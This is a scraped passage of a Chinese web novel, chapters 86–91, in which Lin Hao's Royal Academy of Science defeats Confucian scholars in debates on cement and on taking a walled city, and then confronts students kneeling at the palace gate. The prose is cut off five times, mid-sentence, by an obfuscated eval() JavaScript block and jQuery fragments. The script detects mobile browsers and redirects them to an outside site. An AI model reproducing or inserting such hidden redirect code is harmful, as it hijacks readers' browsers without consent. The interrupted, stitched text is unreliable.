李世民的声音在广场上响起,威严而有力:“第一场比试,朕已看得分明。格物之道,确有其理!”
他顿了顿,目光扫过台下的萧景琰和孔颖达:“国子监以经义治蝗,虽合古制,却无实效。皇家科学院以格物除患,虽违常理,却效果卓著。”
“第一场比试,皇家科学院胜!”
轰!
整个广场再次沸腾,欢呼声直冲云霄。
萧景琰双腿一软,差点跌倒在地。他万万没想到,自己精心准备的这一战,竟然败得如此彻底!
孔颖达更是面如土色,他感觉到一个时代的结束,一个新时代的开始。
而各国使节们,此刻看向林浩的目光,已经完全不同了。那不再是看向一个普通大唐官员的目光,而是看向一个掌握着改变世界力量的人的目光。
李世民又说道:“第二场经武之比,三日后举行。题目为:如何以现有兵力,攻下一座坚城。”
他的目光落在林浩身上,意味深长:“林浩,朕很期待你的表现。”
第87章:是时候教一下将军们怎么打仗了
广场上的欢呼声久久不息,“凉州侯”三个字如雷贯耳,响彻云霄。
萧景琰面色惨白,双腿发软,在众目睽睽之下踉跄后退。
那些原本对他崇拜有加的国子监学子们,此刻都低着头不敢看他,仿佛他是什么见不得人的东西。
“景琰!”孔颖达急忙上前搀扶,“走,我们回去。”
萧景琰被人搀扶着离开朱雀门广场时,身后还传来百姓们的议论声:
“什么百年一遇的儒学天才,连块石头都不如!”
“就是,还天人感应呢,人家林侯爷直接把石头变出来了!”
国子监内,烛火摇曳。
萧景琰瘫坐在椅子上,整个人像丢了魂似的。
“我败了......我竟然败给了一个武夫......”他喃喃自语,“圣人的经义,竟然不如一块石头......”
孔颖达重重拍了拍桌案:“胡说!你没有败!”
萧景琰抬起头,眼中满是迷茫:“夫子,您没看见吗?那块石头,比城墙还硬......”
“那又如何?”孔颖达冷哼一声,“林浩虽然赢了术,但他丢了道!你看那些外邦使臣的眼神,那是对一件物品的贪婪,不是对一个人的敬重!”
萧景琰眼中重新燃起一丝光芒:“夫子的意思是......”
“三日后的经武之比,讲究的是兵家大道,是王者之师的堂堂正正!”
孔颖达起身踱步,“林浩的那些奇技淫巧,在真正的兵法面前,不过是雕虫小技!”
“可是......”萧景琰还是有些犹豫。
“没有可是!”孔颖达断然道,“你可是熟读《孙子兵法》《吴子》《司马法》的人,兵法谋略才是你的强项!到时候,你要让所有人看看,什么叫真正的王道兵法!”
萧景琰握紧拳头,眼中重新燃起斗志:“夫子说得对!我要在第二场比试上,彻底击败林浩,为儒家挽回颜面!”
与此同时,鸿胪寺的客舍内,几国使臣正在密会。
大秦使臣利奥脸色凝重:“诸位,今日所见,已经超出了我们的预料。”
吐蕃使臣丹增皱眉道:“那个叫‘水泥’的东西,真有那么重要?”
“重要?”利奥苦笑,“这是足以改变世界格局的战略物资!用它修筑的城池,将固若金汤;用它建造的道路,将万年不坏!”
突厥使臣阿史那社尔沉声道:“如果大唐掌握了这种技术,他们的边防将变得无比坚固......”
“所以,我们必须不惜一切代价,探明其配方与工艺。”利奥环视众人,“这关系到我们各国的生死存亡!”
丹增点头:“我同意。但如何获得?”
“各凭本事。”利奥眼中闪过一丝狠厉,“总之,这个秘密绝不能只掌握在大唐手中。”
甘露殿内,李世民正在单独召见林浩。
“坐。”李世民指了指旁边的椅子,“今日表现,朕很满意。”
林浩拱手道:“谢陛下夸奖。”
李世民却没有继续谈比试的事,而是直接问道:“那水泥,一月之内,可得几万石?”
林浩一愣,随即摇头:“陛下,水泥的制作工艺复杂,需要高温窑炉、大量人力,还要精确配比各种原料。短期内想要大规模量产,恐怕......”
“需要多长时间?”李世民打断了他。
“若要建成完整的生产体系,至少需要半年到一年。”
林浩如实回答,“而且还需要朝廷提供大量的人力、物力支持。”
李世民眼中闪过一丝失望,但很快恢复正常:“朕明白了。不过,若你能在经武之比上再创奇迹,朕将举全国之力支持科学院的发展。”
林浩心中一动:“陛下,臣有一事相求。”
“说。”
“臣想调阅兵部武库中关于城防和攻城器械的图纸档案,作为第二场比试的参考。”
李世民略一沉吟,点头道:“可以。朕会让禁军护送你前往。”
他顿了顿,“林浩,最近要小心一些。”
林浩拱手:“臣明白。”
深夜,孔颖达的府邸。
“李尚书,下官连夜来访,实在是事关重大。”孔颖达对着兵部尚书李靖深深一拜。
李靖放下茶杯:“孔祭酒有话直说。”
“林浩此人,以术乱道,恐怕会动摇我大唐兵法根基啊!”孔颖达痛心疾首,“还望尚书能在第二场比试中,拨乱反正!”
李靖淡淡一笑:“孔祭酒多虑了。兵法之道,岂是区区奇技淫巧能够撼动的?”
“可是......”
“放心。”李靖起身,“该如何,自有定数。”
孔颖达见李靖态度暧昧,心中有些不安,但也只能告辞离去。
而在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391655|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其他几位老将军的府邸里,孔颖达得到的回应却截然不同。
“什么狗屁科学院!”一位白发苍苍的老将军拍案而起,“老夫征战半生,靠的是什么?是兵法!是谋略!是将士们的血性!哪里用得着那些小聪明?”
“就是!”另一位将军附和道,“真以为弄几个新奇玩意儿,就能打仗了?简直是笑话!”
皇家科学院内,灯火通明。
墨顿正在指挥几个工匠,搭建一个巨大的沙盘。
这个沙盘足有两丈见方,上面山川河流、城池道路,一应俱全。
“师父,按您的要求,沙盘已经基本完成。”墨顿擦了擦汗水。
林浩走到沙盘前,仔细端详着这个精心制作的微缩战场。
沙盘中央,一座高大的城池巍然屹立,城墙厚实,护城河环绕,看起来固若金汤。
“做得不错。”林浩满意地点头,“第二场比试,我们不光要赢,还要给这个时代所有的将军,上一堂课。”
墨顿眼中闪烁着崇拜的光芒:“师父,您要怎么攻下这座城?”
林浩没有直接回答,而是拿起一根细长的竹签,在沙盘上比划着:“墨顿,你觉得攻城最难的是什么?”
“城墙太高太厚?”
“不对。”林浩摇头,“最难的是如何在最短时间内,用最少的伤亡,达成目标。”
墨顿似懂非懂地点点头。
就在这时,外面传来敲门声。
一名禁军校尉走了进来:“林大人,陛下有旨,明日护送您前往兵部武库。”
“知道了。”林浩点头。
校尉离开后,墨顿好奇地问:“师父,您真的要去看那些兵器图纸?”
“当然。”林浩笑了笑,“知己知彼,百战不殆。我要让他们看看,什么叫真正的攻城之道。”
很快,皇宫内也贴出了新的公告。
“经武之比,三日后于太极殿举行,由君臣共鉴。题目:如何以现有兵力,攻下一座坚城。”
消息一出,整个长安城再次沸腾。
“又要比试了!”
“这次比的是打仗,林侯爷能赢吗?”
“那可是兵法啊,萧景琰可是熟读兵书的!”
茶楼酒肆,街头巷尾,所有人都在议论着即将到来的第二场比试。
而在皇家科学院内,林浩站在那个巨大的沙盘前,眼中闪烁着自信的光芒。
第88章:沙盘推演震撼满朝,李靖拜服
太极殿内,龙椅高悬,气氛肃杀。
李世民端坐正中,左右两侧分列着大唐最顶尖的武将。
兵部尚书李靖,左武卫大将军李绩,右武卫大将军程咬金,左骁卫大将军尉迟恭……一个个都是沙场征战数十年的铁血猛将。
“宣,国子监博士王通!”
一个身材瘦削、面容儒雅的中年人走进殿内,他曾在军中担任参军多年,既有实战经验,又精通兵法理论。
王通走到殿中央,对着沙盘上那座坚城仔细端详片刻,然后朗声道:“启禀陛下,臣以为攻城之道,当正奇并用,内外夹攻。”
“此城依山而建,护城河环绕,正面强攻必损兵折将。臣建议,先遣轻骑绕至城后,断其粮道;再令工兵掘地道至城墙根基,暗中破坏;最后大军压境,内外呼应,一举破城。”
程咬金捋着胡须,连连点头:“好!这才是王道兵法!”
尉迟恭也赞道:“王博士此策,深得《孙子兵法》精髓,正是‘攻城为下,攻心为上’的体现。”
几位老将纷纷称赞,王通脸上露出得意的笑容。
孔颖达在一旁抚掌道:“诸位将军慧眼如炬!兵法谋略才是制胜之本,那些奇技淫巧终是末流!”
程咬金哈哈大笑:“就是!老夫征战半生,靠的是什么?是兵法!是谋略!哪里用得着那些铁疙瘩?”
尉迟恭也冷笑道:“某些人只会造些新奇玩意儿,在真正的兵法面前,不过是匹夫之勇罢了。”
殿内响起一阵附和声,显然大部分武将都认同王通的方案。
李世民看向林浩:“林爱卿,该你了。”
林浩起身,没有拿出任何兵书策论,而是对墨顿使了个眼色。
墨顿立刻招呼几个工匠,费力地将那个两丈见方的巨大沙盘抬进太极殿。
“这是什么东西?”程咬金瞪大眼睛。
沙盘上山川河流、城池道路,一应俱全,中央的城池模型更是精细入微,连城墙上的垛口都清晰可见。
林浩走到沙盘前:“诸位,臣的攻城之法,需要在这沙盘上进行动态推演。”
殿内顿时议论纷纷。
“动态推演?这是什么意思?”
“从没听说过这种方式。”
李靖眯起眼睛,仔细打量着沙盘,眼中闪过一丝惊异。
林浩没有理会议论声,直接开口:“臣不谈什么兵法谋略,只说三个问题:后勤压力计算、工程爆破点选择、火力覆盖饱和度。”
程咬金一愣:“什么压力计算?什么饱和度?这都是什么鬼话?”
“墨顿,拿算筹来。”林浩吩咐道。
墨顿摆好算筹,林浩指着王通:“王博士的方案,需要多少兵力?”
王通不明所以:“自然是兵多将广,至少十万大军。”
“好,十万大军,按每人每日消耗三升米计算,一日需米三千石。”
林浩快速拨动算筹,“若要围城一月,需米九万石。加上马料、器械损耗,总计需粮草十五万石。”
殿内鸦雀无声,所有人都被这精确的数字震住了。
林浩继续计算:“王博士说要断其粮道,需派轻骑绕城。此城周围百里,至少需骑兵五千,马匹损耗、草料消耗又是一笔巨额开支。”
王通脸色开始发白。
“再说掘地道。”林浩在沙盘上比划,“此城依山而建,地质坚硬,掘一里地道至少需工兵千人,耗时半月。期间若被敌军发现,前功尽弃不说,还要损失大量人力。”
他抬头看向王通:“请问博士,这些损耗你都计算过吗?”
王通张口结舌,半天说不出话来。
尉迟恭不服道:“打仗哪有不**的?只要能破城,这些损耗算什么?”
林浩笑了:“那好,我们再算算伤亡。”
他拿起一把小旗子,插在沙盘的城墙上:“此城墙高三丈,厚两丈,守军若有五千,弓箭手占三成,即一千五百人。”
“按照常规攻城,我军需要搭建云梯、冲车,在城下仰攻。”林浩移动着小旗子,“守军居高临下,一名弓箭手可射杀三到五名攻城士兵。”
程咬金脸色变了:“这……”
“一千五百弓箭手,按最保守估计,可射杀我军四千五百人。”林浩的声音在大殿内回荡,“加上滚木礌石、金汁热油的杀伤,我军伤亡至少过万。”
殿内死寂一片。
林浩继续道:“这还是最理想的情况。若遇守军顽抗,或者地道被发现,我军伤亡可能翻倍。”
王通面如死灰,他引以为傲的兵法谋略,在这冰冷的数字面前显得如此苍白。
“那你有什么好办法?”程咬金强撑着问道。
林浩走到沙盘前,指着城墙的几个位置:“诸位请看,此城墙看似坚固,实则有三个薄弱点。”
他指着城墙的转角处:“这里是两面墙体的交接点,受力最为复杂,也最容易坍塌。”
又指着城门上方:“这里有
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391656|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个拱形结构,拱顶是整个拱的关键受力点,一旦破坏,整个城门楼都会倒塌。”
最后指着城墙中段:“这里是整面城墙的中心,若能在此处炸开一个缺口,整段城墙都会失去稳定性。”
李靖眼中精光闪烁:“你是说,只要攻击这三个点,就能破城?”
“不错。”林浩点头,“用少量**,进行定向爆破,可以用最小的代价,造成最大的破坏。”
他让墨顿搬来几个小型抛石机模型,摆在沙盘周围:“首先,用抛石机进行坐标式饱和攻击,清除城墙上的守军。”
墨顿按照林浩的指示,调整抛石机的角度:“师父,像这样吗?”
“对,每台抛石机负责一段城墙,形成火力覆盖网。”林浩在沙盘上画出几条弧线,“守军一旦露头,立刻遭到精确打击,无法有效反击。”
程咬金瞪大眼睛:“这……这能行吗?”
林浩继续演示:“火力压制完成后,工兵携带**,趁夜色接近城墙,在三个薄弱点同时引爆。”
他拿起三个小瓷瓶,分别放在城墙的三个位置:“爆破点选择精确,威力集中,可以确保城墙坍塌。”
“最后,步兵从缺口处冲入,无需攀爬城墙,无需仰攻,伤亡微乎其微。”
整个推演过程行云流水,每一步都有详细的计算和论证。
殿内鸦雀无声,所有武将都被这种闻所未闻的攻城方式震住了。
李绩喃喃道:“若真如此,攻下此城只需三日,伤亡不过百人……”
尉迟恭也傻眼了:“这……这还是攻城吗?”
林浩淡淡道:“这就是格物致知的力量,用科学的方法分析问题,用精确的计算指导行动。”
他看向王通:“博士的兵法谋略虽然精妙,但缺乏精确的数据支撑,也没有考虑到工程学的应用。”
王通脸色惨白,整个人如遭雷击。
程咬金张了张嘴,想要反驳,却发现自己什么都说不出来。
这种用数据说话、用计算指导的攻城方式,完全颠覆了他们对兵法的认知。
李世民看着沙盘,眼中闪过震撼的光芒:“林爱卿,你这沙盘推演之法,当真神妙。”
就在此时,一直沉默的李靖突然站起身来。
他走到沙盘前,仔细端详着每一个细节,脸上的表情从怀疑转为震撼,从震撼转为敬佩。
良久,李靖对着林浩深深一拜:“听君一席话,胜读十年兵书!”
第89章:儒家颜面扫地,太学生聚众**
李靖的话音刚落,太极殿内瞬间掀起轩然大波。
程咬金瞪大眼睛,一把推开身旁的人,三步并作两步冲到沙盘前:“这个……这个真能算出来?”
他指着沙盘上的城池,声音都有些颤抖:“老夫打了半辈子仗,从没想过还能这么算账!”
尉迟恭也凑过来,围着沙盘转了一圈:“林大人,你这个**定向爆破,当真能炸开城墙?”
“自然。”林浩拿起一个小瓷瓶,在城墙模型上比划:“**的威力集中在一点,加上对受力结构的精确分析,破坏效果远超常规攻城。”
李绩摸着下巴:“若真如此,我军攻城的伤亡能减少七成以上!”
几个老将军围着沙盘议论纷纷,看向林浩的眼神彻底变了。从最初的不屑,到现在的敬佩,这种转变让他们自己都有些不敢置信。
程咬金直接拍了拍林浩的肩膀:“林大人,老夫服了!真服了!”
“以前总觉得你们这些读书人只会纸上谈兵,没想到你这套算法比我们这些粗人管用多了!”尉迟恭也连连点头。
孔颖达见状,脸色铁青如墨。他强撑着站起身来,声音都有些发颤:“诸位将军!万万不可被这等奇技淫巧蒙蔽!”
殿内的议论声戛然而止,所有人都看向他。
孔颖达深吸一口气,强行镇定下来:“林浩此法,看似精妙,实则大谬!兵者,诡道也!战场变幻莫测,岂是区区计算所能涵盖?”
他指着沙盘:“这等死板的推演,毫无兵家‘诡道’与‘人心’之变!若敌军有所防备,若天气突变,若士气不振,你这些数字还有何用?”
程咬金皱眉:“孔祭酒,你这话……”
“老夫所言句句属实!”孔颖达打断他,声音越来越激动:“兵法之道,在于用兵如神,在于随机应变!这种依赖器物和计算的方法,不过是屠夫之术,绝非王者之道!”
“王者用兵,当以仁德服人,以正道取胜!岂可如此冷血地计算将士性命?这是把人命当作筹码,与禽兽何异?”
他的话说得慷慨激昂,但殿内的反应却出乎他的意料。
程咬金脸色一沉:“屠夫之术?孔祭酒这话说得过了!”
尉迟恭也冷笑道:“什么王者之道?我们这些当兵的,最怕的就是无谓的伤亡!”
李绩更是直接开口:“孔祭酒,你可知道,每次攻城,老夫都要给阵亡将士的家属写信?那种心情,你体会过吗?”
孔颖达一愣,没想到这些武将会如此反应。
林浩这时缓缓开口:“孔祭酒,在下有一事不明,还请指教。”
“什么事?”孔颖达强撑着问道。
林浩看着他:“请问祭酒大人,能让数千上万的将士少死几个的‘屠夫之术’,与让将士们凭血勇去填城墙的‘王者之道’,哪一个更是仁德?”
这句话如同一道惊雷,在殿内炸响。
孔颖达张口结舌,半天说不出话来。
程咬金怒道:“就是!孔祭酒,你这是站着说话不腰疼!”
“我们这些当兵的,哪个不是从**堆里爬出来的?能少**,那就是天大的好事!”尉迟恭也愤怒地说道。
李绩更是冷冷地看着孔颖达:“祭酒大人,你口中的‘王者之道’,在我们眼里,就是让兄弟们白白送死的借口!”
殿内所有的武将都对孔颖达投去了不善的目光。这些从战场上摸爬滚打出来的将军们,最痛恨的就是这种空谈大道、不顾士卒死活的论调。
孔颖达脸色惨白,身体摇摇欲坠。他万万没想到,自己引以为傲的仁德之论,在这些武将面前竟然如此不堪一击。
李世民看着这一幕,缓缓开口:“兵者,国之大事,死生之地。”
他的声音在大殿内回荡,威严而有力:“能以最小代价获胜者,方为上策。朕要的是胜利,更要的是让朕的将士们活着回家。”
“儒墨大比第二场''经武之比'',皇家科学院胜!”李世民一锤定音,“总比分二比零,大比提前结束!”
轰!
这个结果如同晴天霹雳,让孔颖达如遭雷击。
“不……不可能……”他喃喃自语,“圣人之道……怎么会败给奇技淫巧……”
话还没说完,他眼前一黑,一口气没上来,整个人向后倒去。
“祭酒!”几个国子监的门生连忙上前搀扶。
“快!快扶祭酒回去休息!”王通也慌了神,和几个人一起将孔颖达搀扶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391657|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着离开太极殿。
看着孔颖达狼狈退场的背影,殿内的武将们面面相觑。这位在朝中威望极高的大儒,竟然败得如此彻底。
李世民继续说道:“朕决定,命兵部成立‘沙盘推演司’,由李靖挂帅。”
他看向林浩:“特聘林浩为首席顾问,协助兵部完善新的作战体系。”
李靖立刻出列:“臣遵旨!”
程咬金也兴奋地说道:“陛下,臣也想学这个沙盘推演!”
“还有老夫!”尉迟恭也不甘落后。
李世民笑道:“好!你们都可以参与。朕要让大唐的军队,成为天下最强的军队!”
退朝后,李靖主动走到林浩身边:“林大人,不知今晚可有空暇?老夫想请教一些军事上的问题。”
林浩拱手:“李尚书客气了,在下正有此意。”
“那好,今晚在兵部等你。”李靖眼中闪着光芒,“老夫有太多问题想要请教了。”
程咬金也凑过来:“林大人,老夫也想学!”
“还有老夫!”尉迟恭也不甘示弱。
林浩笑道:“诸位将军客气了,在下定当知无不言。”
看着这些名将对自己如此客气,林浩心中也有些感慨。他不仅赢得了比试,更重要的是,成功将自己的军事理念植入了帝国的最高军事决策层。
夜深了,兵部尚书府内依然灯火通明。
李靖亲自为林浩斟茶:“林大人,关于那个**定向爆破,能否详细说说?”
“自然可以。”林浩放下茶杯,“关键在于对建筑结构的分析……”
两人彻夜长谈,从**的配制到爆破点的选择,从沙盘推演的细节到后勤补给的计算,李靖问得详细,林浩答得耐心。
这位纵横沙场数十年的名将,此刻完全放下了架子,如同一个虚心求学的学生。
“原来如此!”李靖恍然大悟,“老夫以前只知道用兵如神,却不知道还能如此精确地计算!”
林浩笑道:“兵法与格物之道本就相通,都讲究因地制宜,因势利导。”
就在两人谈兴正浓的时候,外面突然传来急促的敲门声。
“报告尚书!”一名兵部官员匆忙进来,“国子监门口**了数百名太学生!”
第90章:跪宫门的书生,此仇不报非君子
兵部尚书府内。
李靖皱眉:”深更半夜的,这些学子聚在那里做什么?”
”他们……他们在商议明日要做的事。”那名官员咽了咽口水,”听说是要集体长跪宫门,**今日的比试结果。”
林浩放下茶杯,眼中闪过一丝寒光:”看来,有人坐不住了。”
李靖脸色阴沉:”这些书生,败了就败了,还想**不成?”
”李尚书,今夜我就先告辞了。”林浩起身拱手,”明日恐怕会有一场硬仗要打。”
次日天刚亮,宫门外就**了密密麻麻的人群。
数百名身穿白衣的太学生整齐跪在宫门前,个个面色肃穆,手中高举着”尊孔复古,罢黜墨逆”的横幅。
萧景琰跪在最前面,声音嘶哑地高喊:”学生萧景琰,为天下文脉计,请陛下彻查林浩!”
”请陛下彻查林浩!”数百学子齐声呼喊,声震云霄。
围观的百姓们议论纷纷。
”这些都是国子监的学子?”
”对啊,一个个都是未来的栋梁之材。”
”连他们都这样,看来林侯爷真的有问题。”
萧景琰从怀中取出一份血红的文书,高举过头:”学生等联名**,请陛下明鉴!”
”林浩私藏墨家**,蛊惑人心!”
”墨顿来历不明,恐是墨家余孽!”
”请陛下罢黜科学院,以正视听!”
学子们一句句控诉,每一声都像锤子般砸在围观百姓的心上。
”私藏**?这可是大罪!”
”墨家余孽?难怪会那些奇技淫巧!”
”亏我们还以为他是神仙下凡!”
百姓们的态度开始发生变化,原本对林浩的崇拜逐渐转为质疑。
太极殿内,李世民接到消息,眉头紧锁。
”数百太学生长跪宫门?”
”是的陛下。”宦官小心翼翼地回答,”他们还呈上了**,要求彻查林浩大人。”
李世民揉了揉太阳穴:”传朕旨意,召集众臣议事。”
不多时,朝堂之上群臣汇集。
**的官员们个个精神抖擞,显然早有准备。
御史中丞率先出列:”陛下,太学生集体长跪,此乃前所未见之事!可见林浩之举,已然激起民愤!”
”臣请陛下三思,莫要因一人而失天下士心!”
接着又有几名御史出列,轮番**。
”林浩妖言惑众,致使学子离心!”
”墨家乃是法家余孽,理应禁绝!”
”请陛下严惩林浩,以安士林!”
李靖忍不住出声:”诸位大人,林浩昨日的表现有目共睹,怎能说是妖言惑众?”
御史中丞冷笑:”李尚书身为武将,岂懂教化之道?”
程咬金怒道:”什么教化不教化的!林大人的法子能救人命,这就是最大的仁德!”
”程将军此言差矣!”另一名文官站出来,”救人命固然重要,但若因此乱了纲常,岂不是得不偿失?”
尉迟恭也想为林浩辩解,却被几名文官联手驳得哑口无言。
朝堂之上,文武两派针锋相对,争吵声此起彼伏。
李世民看着这一切,心中苦笑。
他自然清楚林浩的价值,但数百太学生的长跪确实给他造成了巨大压力。这些学子将来都是朝堂栋梁,若真因此事与朝廷离心,后果不堪设想。
”够了!”李世民一声断喝,朝堂瞬间安静下来。
”传林浩觐见!”
很快,林浩走进太极殿。
李世民看着他,脸上带着几分无奈:”林爱卿,你也听到了,外面的情况……”
”陛下,臣已知晓。”林浩神色平静。
”那你可有什么想法?”李世民暗示道,”若是暂时关闭科学院,避避风头,未尝不可……”
御史中丞立刻接话:”陛下英明!暂时关闭科学院,待查明真相后再行定夺!”
”对!先安抚学子们,大局为重!”
几名文官纷纷附和,仿佛已经看到了胜利的曙光。
然而,林浩却摇了摇头:”陛下,臣不同意。”
朝堂内一片哗然。
”大胆!陛下亲自为你开脱,你竟然拒绝?”
”林浩,你莫要不识好歹!”
面对众人的质疑,林浩依然淡定:”陛下,臣有办法解决此事。”
李世民眼中闪过一丝好奇:”什么办法?”
”臣需要三天时间。”林浩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391658|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拱手道,”三天后,臣必定给陛下一个满意的答案。”
御史中丞冷笑:”三天?林浩,你以为拖延时间就能改变什么?”
”那些学子们可是发了血誓,不达目的誓不罢休!”
林浩看了他一眼:”既然如此,那就让他们继续跪着。”
说完,他转身向李世民行礼:”陛下,臣告退。”
看着林浩离去的背影,朝堂内议论纷纷。
”他这是什么意思?”
”莫非真有什么后手?”
萧景琰得到消息后,兴奋得差点跳起来。
”师兄,林浩拒绝了皇帝的好意!他这是自寻死路!”一名学子激动地说道。
”很好。”萧景琰眼中闪着得意的光芒,”让所有人都看看,这就是与儒家作对的下场!”
”师兄,那我们接下来怎么办?”
萧景琰站起身:”传令下去,继续跪宫门!不管下雨还是刮风,谁都不许起来!”
”是!”
宫门外,学子们听到消息后士气大振。
”林浩拒绝了皇帝的宽恕!”
”他这是心虚了!”
”坚持下去,胜利就在眼前!”
三天时间里,皇家科学院大门紧闭,任何人都不得进出。
萧景琰每天都会派人去探听消息,得到的回答都是”大门紧闭,不知内情”。
”林浩这是在做什么?”萧景琰有些不安。
”师兄,管他做什么,反正他已经被逼到绝路了。”旁边的学子安慰道,”再说,就算他憋着什么大招,还能翻天不成?”
萧景琰点点头,但心中的不安却越来越强烈。
第三天傍晚,就在所有人都以为林浩要当缩头乌龟时,科学院的大门突然打开了。
林浩走了出来,径直走向太极殿。
”快看!林浩出来了!”
”他要去见皇帝!”
消息很快传遍长安城,无数人涌向皇宫,想要看看这场风波的最终结果。
宫门外跪了三天的学子们也骚动起来。
”林浩要做什么?”
”莫非真有什么阴谋诡计?”
萧景琰猛地站起身,眼中闪过一丝狠厉:”不管他想做什么,都已经晚了!”
第91章:献书退敌,君王算盘响
太极殿外,太子李承乾和孔颖达等人聚在一处,个个脸上都挂着得意的笑容。
“太子殿下,林浩这次算是彻底完了。”
孔颖达抚着胡须,声音里带着几分快意,“数百学子长跪三日,就算是皇帝也不敢无视。”
李承乾点头:“父皇最重视的就是士林民心,林浩这次是自寻死路。”
“殿下,您看林浩这次会如何求饶?”一名**的官员问道。
“求饶?”李承乾冷笑,“他还有脸求饶吗?依本宫看,他这次进去就是来请罪的,说不定还要自请流放。”
正说着,殿内传来宦官的声音:“宣林浩觐见!”
众人立刻噤声,竖起耳朵想听里面的动静。
太极殿内,林浩步履从容地走到殿中央,对着龙椅上的李世民行了一礼。
“臣林浩,参见陛下。”
李世民端坐在龙椅上,目光深沉地看着他:“林爱卿,外面的情况你也知道,数百学子为你长跪三日,朕心中甚是不安。”
满朝文武的目光都聚焦在林浩身上,等着看他如何辩解。
然而,林浩却没有说一句辩解的话,而是从怀中缓缓捧出一卷泛黄的古籍。
“陛下,臣今日前来,正是为了此事。”林浩将古籍高举过头,“此乃墨家手稿,正是引发此次风波的源头。”
殿内顿时一片哗然。
“他竟然真的私藏墨家**!”
“这下实锤了!”
御史中丞眼中闪过兴奋的光芒,正要开口**,却听林浩继续说道:
“为弭平争议,以全圣贤之道,臣愿主动将此**献给陛下,由皇家内库永久封存。”
说完,他双手将古籍呈上。
殿内瞬间安静得落针可闻。
所有人都瞪大了眼睛,不敢置信地看着这一幕。
林浩竟然主动献出了墨家手稿!
这可是他立身的根本啊!
李世民也有些意外,接过古籍翻看了几页,眉头微皱:“林爱卿,这手稿对你如此重要,你真的愿意献出?”
“陛下,臣身为大唐臣子,岂敢私藏**?”
林浩神色诚恳,“今日献出此书,一是为了证明臣的清白,二是为了让陛下亲自定夺此书的去留。”
御史中丞激动得浑身颤抖:“陛下!林浩既然承认私藏**,理应严惩!”
其他文官也纷纷附和:
“对!私藏**乃是大罪!”
“请陛下依法处置!”
然而,就在众人以为林浩已经认输的时候,他却又从怀中取出了另一样东西。
“陛下,臣还有一物呈上。”
这是一份厚厚的册子,封面上写着“机关术解读笔记”几个大字,下面还有两个署名:兵部尚书李靖,工部尚书段纶。
李世民接过册子,随意翻了几页,脸色瞬间变了。
册子里详细记录了如何利用墨家机关术改进少府监的生产工艺,从水力机械到精密齿轮,从流水作业到质量控制,每一项都有具体的实施方案。
更重要的是,册子的最后还有一份详细的经济账目。
“陛下,臣与李尚书、段尚书经过详细计算,若将此机关术应用于少府监改革,可将生产效率提升五倍。”
林浩的声音在大殿内清晰地响起,“不仅能低成本量产神机连**,满足军方需求,每年还能为皇家内库增加至少五十万贯的收入。”
五十万贯!
这个数字如同惊雷般在殿内炸响。
要知道,整个大唐一年的税收也不过一千多万贯,五十万贯已经是一个相当可观的数目了。
更重要的是,这笔钱是直接进入皇家内库,不需要经过户部,完全属于皇帝的私人财产。
李世民的眼神瞬间变了。
他重新翻看册子,越看越是心惊。
这份解读笔记不仅详细,而且可操作性极强,每一个改进方案都有具体的成本核算和收益预测。
最关键的是,李靖和段纶的署名让这份方案具备了极高的权威性。
“李靖!段纶!”李世民突然开口。
“臣在!”两人同时出列。
“这份解读笔记,你们都看过?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391659|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>李靖拱手:“回陛下,臣不仅看过,还与林大人反复讨论了三天三夜。臣敢以官职担保,此方案完全可行!”
